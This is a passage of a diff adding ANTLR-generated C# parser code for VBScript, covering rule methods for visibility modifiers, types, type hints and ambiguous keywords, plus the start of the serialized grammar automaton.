(RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class PublicPrivateGlobalVisibilityContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode PRIVATE() { return GetToken(VBScriptParser.PRIVATE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode PUBLIC() { return GetToken(VBScriptParser.PUBLIC, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode GLOBAL() { return GetToken(VBScriptParser.GLOBAL, 0); } + public PublicPrivateGlobalVisibilityContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_publicPrivateGlobalVisibility; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterPublicPrivateGlobalVisibility(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitPublicPrivateGlobalVisibility(this); + } + } + + [RuleVersion(0)] + public PublicPrivateGlobalVisibilityContext publicPrivateGlobalVisibility() { + PublicPrivateGlobalVisibilityContext _localctx = new PublicPrivateGlobalVisibilityContext(Context, State); + EnterRule(_localctx, 316, RULE_publicPrivateGlobalVisibility); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 3091; + _la = TokenStream.LA(1); + if ( !(((((_la - 74)) & ~0x3f) == 0 && ((1L << (_la - 74)) & 153122387330596865L) != 0)) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class TypeContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public BaseTypeContext baseType() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ComplexTypeContext complexType() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LPAREN() { return GetToken(VBScriptParser.LPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RPAREN() { return GetToken(VBScriptParser.RPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + public TypeContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_type; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterType(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitType(this); + } + } + + [RuleVersion(0)] + public TypeContext type() { + TypeContext _localctx = new TypeContext(Context, State); + EnterRule(_localctx, 318, RULE_type); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 3095; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,538,Context) ) { + case 1: + { + State = 3093; + baseType(); + } + break; + case 2: + { + State = 3094; + complexType(); + } + break; + } + State = 3105; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,541,Context) ) { + case 1: + { + State = 3098; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 3097; + Match(WS); + } + } + + State = 3100; + Match(LPAREN); + State = 3102; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 3101; + Match(WS); + } + } + + State = 3104; + Match(RPAREN); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class TypeHintContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode AMPERSAND() { return GetToken(VBScriptParser.AMPERSAND, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode AT() { return GetToken(VBScriptParser.AT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DOLLAR() { return GetToken(VBScriptParser.DOLLAR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EXCLAMATIONMARK() { return GetToken(VBScriptParser.EXCLAMATIONMARK, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode HASH() { return GetToken(VBScriptParser.HASH, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode PERCENT() { return GetToken(VBScriptParser.PERCENT, 0); } + public TypeHintContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_typeHint; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterTypeHint(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitTypeHint(this); + } + } + + [RuleVersion(0)] + public TypeHintContext typeHint() { + TypeHintContext _localctx = new TypeHintContext(Context, State); + EnterRule(_localctx, 320, RULE_typeHint); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 3107; + _la = TokenStream.LA(1); + if ( !(((((_la - 181)) & ~0x3f) == 0 && ((1L << (_la - 181)) & 1050917L) != 0)) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class VisibilityContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode PRIVATE() { return GetToken(VBScriptParser.PRIVATE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode PUBLIC() { return GetToken(VBScriptParser.PUBLIC, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode FRIEND() { return GetToken(VBScriptParser.FRIEND, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode GLOBAL() { return GetToken(VBScriptParser.GLOBAL, 0); } + public VisibilityContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_visibility; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterVisibility(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitVisibility(this); + } + } + + [RuleVersion(0)] + public VisibilityContext visibility() { + VisibilityContext _localctx = new VisibilityContext(Context, State); + EnterRule(_localctx, 322, RULE_visibility); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 3109; + _la = TokenStream.LA(1); + if ( !(((((_la - 70)) & ~0x3f) == 0 && ((1L << (_la - 70)) & 2449958197289549841L) != 0)) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class AmbiguousKeywordContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode ACCESS() { return GetToken(VBScriptParser.ACCESS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode ADDRESSOF() { return GetToken(VBScriptParser.ADDRESSOF, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode ALIAS() { return GetToken(VBScriptParser.ALIAS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode AND() { return GetToken(VBScriptParser.AND, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode ATTRIBUTE() { return GetToken(VBScriptParser.ATTRIBUTE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode APPACTIVATE() { return GetToken(VBScriptParser.APPACTIVATE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode APPEND() { return GetToken(VBScriptParser.APPEND, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode AS() { return GetToken(VBScriptParser.AS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode BEEP() { return GetToken(VBScriptParser.BEEP, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode BEGIN() { return GetToken(VBScriptParser.BEGIN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode BINARY() { return GetToken(VBScriptParser.BINARY, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode BOOLEAN() { return GetToken(VBScriptParser.BOOLEAN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode BYVAL() { return GetToken(VBScriptParser.BYVAL, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode BYREF() { return GetToken(VBScriptParser.BYREF, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode BYTE() { return GetToken(VBScriptParser.BYTE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode CALL() { return GetToken(VBScriptParser.CALL, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode CASE() { return GetToken(VBScriptParser.CASE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode CLASS() { return GetToken(VBScriptParser.CLASS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode CLOSE() { return GetToken(VBScriptParser.CLOSE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode CHDIR() { return GetToken(VBScriptParser.CHDIR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode CHDRIVE() { return GetToken(VBScriptParser.CHDRIVE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COLLECTION() { return GetToken(VBScriptParser.COLLECTION, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode CONST() { return GetToken(VBScriptParser.CONST, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DATE() { return GetToken(VBScriptParser.DATE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DECLARE() { return GetToken(VBScriptParser.DECLARE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DEFBOOL() { return GetToken(VBScriptParser.DEFBOOL, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DEFBYTE() { return GetToken(VBScriptParser.DEFBYTE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DEFCUR() { return GetToken(VBScriptParser.DEFCUR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DEFDBL() { return GetToken(VBScriptParser.DEFDBL, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DEFDATE() { return GetToken(VBScriptParser.DEFDATE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DEFDEC() { return GetToken(VBScriptParser.DEFDEC, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DEFINT() { return GetToken(VBScriptParser.DEFINT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DEFLNG() { return GetToken(VBScriptParser.DEFLNG, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DEFOBJ() { return GetToken(VBScriptParser.DEFOBJ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DEFSNG() { return GetToken(VBScriptParser.DEFSNG, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DEFSTR() { return GetToken(VBScriptParser.DEFSTR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DEFVAR() { return GetToken(VBScriptParser.DEFVAR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DELETESETTING() { return GetToken(VBScriptParser.DELETESETTING, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DIM() { return GetToken(VBScriptParser.DIM, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DO() { return GetToken(VBScriptParser.DO, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DOUBLE() { return GetToken(VBScriptParser.DOUBLE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EACH() { return GetToken(VBScriptParser.EACH, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode ELSEIF() { return GetToken(VBScriptParser.ELSEIF, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode END() { return GetToken(VBScriptParser.END, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode ENUM() { return GetToken(VBScriptParser.ENUM, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EQV() { return GetToken(VBScriptParser.EQV, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode ERASE() { return GetToken(VBScriptParser.ERASE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode ERROR() { return GetToken(VBScriptParser.ERROR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EVENT() { return GetToken(VBScriptParser.EVENT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode FALSE() { return GetToken(VBScriptParser.FALSE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode FILECOPY() { return GetToken(VBScriptParser.FILECOPY, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode FRIEND() { return GetToken(VBScriptParser.FRIEND, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode FOR() { return GetToken(VBScriptParser.FOR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode FUNCTION() { return GetToken(VBScriptParser.FUNCTION, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode GET() { return GetToken(VBScriptParser.GET, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode GLOBAL() { return GetToken(VBScriptParser.GLOBAL, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode GOSUB() { return GetToken(VBScriptParser.GOSUB, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode GOTO() { return GetToken(VBScriptParser.GOTO, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode IF() { return GetToken(VBScriptParser.IF, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode IMP() { return GetToken(VBScriptParser.IMP, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode IMPLEMENTS() { return GetToken(VBScriptParser.IMPLEMENTS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode IN() { return GetToken(VBScriptParser.IN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INPUT() { return GetToken(VBScriptParser.INPUT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode IS() { return GetToken(VBScriptParser.IS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INTEGER() { return GetToken(VBScriptParser.INTEGER, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode KILL() { return GetToken(VBScriptParser.KILL, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LOAD() { return GetToken(VBScriptParser.LOAD, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LOCK() { return GetToken(VBScriptParser.LOCK, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LONG() { return GetToken(VBScriptParser.LONG, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LOOP() { return GetToken(VBScriptParser.LOOP, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LEN() { return GetToken(VBScriptParser.LEN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LET() { return GetToken(VBScriptParser.LET, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LIB() { return GetToken(VBScriptParser.LIB, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LIKE() { return GetToken(VBScriptParser.LIKE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LSET() { return GetToken(VBScriptParser.LSET, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode ME() { return GetToken(VBScriptParser.ME, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MID() { return GetToken(VBScriptParser.MID, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MKDIR() { return GetToken(VBScriptParser.MKDIR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MOD() { return GetToken(VBScriptParser.MOD, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NAME() { return GetToken(VBScriptParser.NAME, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEXT() { return GetToken(VBScriptParser.NEXT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEW() { return GetToken(VBScriptParser.NEW, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NOT() { return GetToken(VBScriptParser.NOT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NOTHING() { return GetToken(VBScriptParser.NOTHING, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NULL() { return GetToken(VBScriptParser.NULL, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode OBJECT() { return GetToken(VBScriptParser.OBJECT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode ON() { return GetToken(VBScriptParser.ON, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode OPEN() { return GetToken(VBScriptParser.OPEN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode OPTIONAL() { return GetToken(VBScriptParser.OPTIONAL, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode OR() { return GetToken(VBScriptParser.OR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode OUTPUT() { return GetToken(VBScriptParser.OUTPUT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode PARAMARRAY() { return GetToken(VBScriptParser.PARAMARRAY, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode PRESERVE() { return GetToken(VBScriptParser.PRESERVE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode PRINT() { return GetToken(VBScriptParser.PRINT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode PRIVATE() { return GetToken(VBScriptParser.PRIVATE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode PUBLIC() { return GetToken(VBScriptParser.PUBLIC, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode PUT() { return GetToken(VBScriptParser.PUT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RANDOM() { return GetToken(VBScriptParser.RANDOM, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RANDOMIZE() { return GetToken(VBScriptParser.RANDOMIZE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RAISEEVENT() { return GetToken(VBScriptParser.RAISEEVENT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode READ() { return GetToken(VBScriptParser.READ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode REDIM() { return GetToken(VBScriptParser.REDIM, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode REM() { return GetToken(VBScriptParser.REM, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RESET() { return GetToken(VBScriptParser.RESET, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RESUME() { return GetToken(VBScriptParser.RESUME, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RETURN() { return GetToken(VBScriptParser.RETURN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RMDIR() { return GetToken(VBScriptParser.RMDIR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RSET() { return GetToken(VBScriptParser.RSET, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode SAVEPICTURE() { return GetToken(VBScriptParser.SAVEPICTURE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode SAVESETTING() { return GetToken(VBScriptParser.SAVESETTING, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode SEEK() { return GetToken(VBScriptParser.SEEK, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode SELECT() { return GetToken(VBScriptParser.SELECT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode SENDKEYS() { return GetToken(VBScriptParser.SENDKEYS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode SET() { return GetToken(VBScriptParser.SET, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode SETATTR() { return GetToken(VBScriptParser.SETATTR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode SHARED() { return GetToken(VBScriptParser.SHARED, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode SINGLE() { return GetToken(VBScriptParser.SINGLE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode SPC() { return GetToken(VBScriptParser.SPC, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode STATIC() { return GetToken(VBScriptParser.STATIC, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode STEP() { return GetToken(VBScriptParser.STEP, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode STOP() { return GetToken(VBScriptParser.STOP, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode STRING() { return GetToken(VBScriptParser.STRING, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode SUB() { return GetToken(VBScriptParser.SUB, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode TAB() { return GetToken(VBScriptParser.TAB, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode TEXT() { return GetToken(VBScriptParser.TEXT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode THEN() { return GetToken(VBScriptParser.THEN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode TIME() { return GetToken(VBScriptParser.TIME, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode TO() { return GetToken(VBScriptParser.TO, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode TRUE() { return GetToken(VBScriptParser.TRUE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode TYPE() { return GetToken(VBScriptParser.TYPE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode TYPEOF() { return GetToken(VBScriptParser.TYPEOF, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode UNLOAD() { return GetToken(VBScriptParser.UNLOAD, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode UNLOCK() { return GetToken(VBScriptParser.UNLOCK, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode UNTIL() { return GetToken(VBScriptParser.UNTIL, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode VARIANT() { return GetToken(VBScriptParser.VARIANT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode VERSION() { return GetToken(VBScriptParser.VERSION, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WEND() { return GetToken(VBScriptParser.WEND, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WHILE() { return GetToken(VBScriptParser.WHILE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WIDTH() { return GetToken(VBScriptParser.WIDTH, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WITH() { return GetToken(VBScriptParser.WITH, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WITHEVENTS() { return GetToken(VBScriptParser.WITHEVENTS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WRITE() { return GetToken(VBScriptParser.WRITE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode XOR() { return GetToken(VBScriptParser.XOR, 0); } + public AmbiguousKeywordContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_ambiguousKeyword; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterAmbiguousKeyword(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitAmbiguousKeyword(this); + } + } + + [RuleVersion(0)] + public AmbiguousKeywordContext ambiguousKeyword() { + AmbiguousKeywordContext _localctx = new AmbiguousKeywordContext(Context, State); + EnterRule(_localctx, 324, RULE_ambiguousKeyword); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 3111; + _la = TokenStream.LA(1); + if ( !((((_la) & ~0x3f) == 0 && ((1L << _la) & 9007304807790147582L) != 0) || ((((_la - 68)) & ~0x3f) == 0 && ((1L << (_la - 68)) & -8087550153692545025L) != 0) || ((((_la - 132)) & ~0x3f) == 0 && ((1L << (_la - 132)) & 562949936644063L) != 0)) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public override bool Sempred(RuleContext _localctx, int ruleIndex, int predIndex) { + switch (ruleIndex) { + case 117: return valueStmt_sempred((ValueStmtContext)_localctx, predIndex); + } + return true; + } + private bool valueStmt_sempred(ValueStmtContext _localctx, int predIndex) { + switch (predIndex) { + case 0: return Precpred(Context, 19); + case 1: return Precpred(Context, 18); + case 2: return Precpred(Context, 17); + case 3: return Precpred(Context, 16); + case 4: return Precpred(Context, 15); + case 5: return Precpred(Context, 14); + case 6: return Precpred(Context, 13); + case 7: return Precpred(Context, 12); + case 8: return Precpred(Context, 11); + case 9: return Precpred(Context, 10); + case 10: return Precpred(Context, 9); + case 11: return Precpred(Context, 8); + case 12: return Precpred(Context, 7); + case 13: return Precpred(Context, 6); + case 14: return Precpred(Context, 5); + case 15: return Precpred(Context, 4); + case 16: return Precpred(Context, 3); + } + return true; + } + + private static int[] _serializedATN = { + 4,1,224,3114,2,0,7,0,2,1,7,1,2,2,7,2,2,3,7,3,2,4,7,4,2,5,7,5,2,6,7,6,2, + 7,7,7,2,8,7,8,2,9,7,9,2,10,7,10,2,11,7,11,2,12,7,12,2,13,7,13,2,14,7,14, + 2,15,7,15,2,16,7,16,2,17,7,17,2,18,7,18,2,19,7,19,2,20,7,20,2,21,7,21, + 2,22,7,22,2,23,7,23,2,24,7,24,2,25,7,25,2,26,7,26,2,27,7,27,2,28,7,28, + 2,29,7,29,2,30,7,30,2,31,7,31,2,32,7,32,2,33,7,33,2,34,7,34,2,35,7,35, + 2,36,7,36,2,37,7,37,2,38,7,38,2,39,7,39,2,40,7,40,2,41,7,41,2,42,7,42, + 2,43,7,43,2,44,7,44,2,45,7,45,2,46,7,46,2,47,7,47,2,48,7,48,2,49,7,49, + 2,50,7,50,2,51,7,51,2,52,7,52,2,53,7,53,2,54,7,54,2,55,7,55,2,56,7,56, + 2,57,7,57,2,58,7,58,2,59,7,59,2,60,7,60,2,61,7,61,2,62,7,62,2,63,7,63, + 2,64,7,64,2,65,7,65,2,66,7,66,2,67,7,67,2,68,7,68,2,69,7,69,2,70,7,70, + 2,71,7,71,2,72,7,72,2,73,7,73,2,74,7,74,2,75,7,75,2,76,7,76,2,77,7,77, + 2,78,7,78,2,79,7,79,2,80,7,80,2,81,7,81,2,82,7,82,2,83,7,83,2,84,7,84, + 2,85,7,85,2,86,7,86,2,87,7,87,2,88,7,88,2,89,7,89,2,90,7,90,2,91,7,91, + 2,92,7,92,2,93,7,93,2,94,7,94,2,95,7,95,2,96,7,96,2,97,7,97,2,98,7,98, + 2,99,7,99,2,100,7,100,2,101,7,101,2,102,7,102,2,103,7,103,2,104,7,104, + 2,105,7,105,2,106,7,106,2,107,7,107,2,108,7,108,2,109,7,109,2,110,7,110, + 2,111,7,111,2,112,7,112,2,113,7,113,2,114,7,114,2,115,7,115,2,116,7,116, + 2,117,7,117,2,118,7,118,2,119,7,119,2,120,7,120,2,121,7,121,2,122,7,122, + 2,123,7,123,2,124,7,124,2,125,7,125,2,126,7,126,2,127,7,127,2,128,7,128, + 